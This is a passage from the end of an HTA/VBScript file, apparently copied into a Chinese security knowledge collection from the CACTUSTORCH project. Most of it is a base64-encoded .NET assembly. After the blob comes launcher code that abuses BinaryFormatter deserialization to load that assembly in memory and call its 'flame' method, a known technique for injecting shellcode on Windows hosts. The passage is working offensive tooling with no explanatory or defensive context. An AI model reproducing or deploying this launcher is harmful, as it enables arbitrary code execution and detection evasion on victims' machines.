"AAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEIAQACAAAAAAAQAQALQ0FDVFVT" s = s & "VE9SQ0gAAAUBAAAAAAUBAAEAACkBACQ1NjU5OGYxYy02ZDg4LTQ5OTQtYTM5Mi1hZjMzN2FiZTU3" s = s & "NzcAAAwBAAcxLjAuMC4wAAAASDUAAAAAAAAAAAAAYjUAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AFQ1AAAAAAAAAAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAA" s = s & "ADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQAAANAMAAAAAAAAAAAAANAM0AAAAVgBTAF8A" s = s & "VgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAABAAAAAAAAAAEAAAAAAD8AAAAA" s = s & "AAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQA" s = s & "BAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBJQCAAABAFMAdAByAGkAbgBnAEYAaQBs" s = s & "AGUASQBuAGYAbwAAAHACAAABADAAMAAwADAAMAA0AGIAMAAAADAADAABAEMAbwBtAG0AZQBuAHQA" s = s & "cwAAAEMAQQBDAFQAVQBTAFQATwBSAEMASAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAA" s = s & "AAAAAAAAAEAADAABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABDAEEAQwBUAFUA" s = s & "UwBUAE8AUgBDAEgAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAu" s = s & "ADAAAABAABAAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEMAQQBDAFQAVQBTAFQATwBSAEMA" s = s & "SAAuAGQAbABsAAAAPAAMAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBBAEMAVABV" s = s & "AFMAVABPAFIAQwBIAAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrAHMAAAAAAAAA" s = s & "AABIABAAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBBAEMAVABVAFMAVABP" s = s & "AFIAQwBIAC4AZABsAGwAAAA4AAwAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAEMAQQBDAFQA" s = s & "VQBTAFQATwBSAEMASAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAw" s = s & "AC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAA" s = s & "LgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAADAAAAwAAAB0NQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAABDQAAAAQAAAAJFwAAAAkGAAAACRYAAAAGGgAAACdTeXN0ZW0uUmVmbGVjdGlv" s = s & "bi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA" entry_class = "cactusTorch" Dim fmt, al, d, o Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter") Set al = CreateObject("System.Collections.ArrayList") al.Add fmt.SurrogateSelector Set d = fmt.Deserialize_2(Base64ToStream(s)) Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class) o.flame binary,code End Sub SetVersion On Error Resume Next Run If Err.Number <> 0 Then Debug Err.Description Err.Clear End If self.close </script> ``` **来源:** https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta > Micropoor
sec-knowleage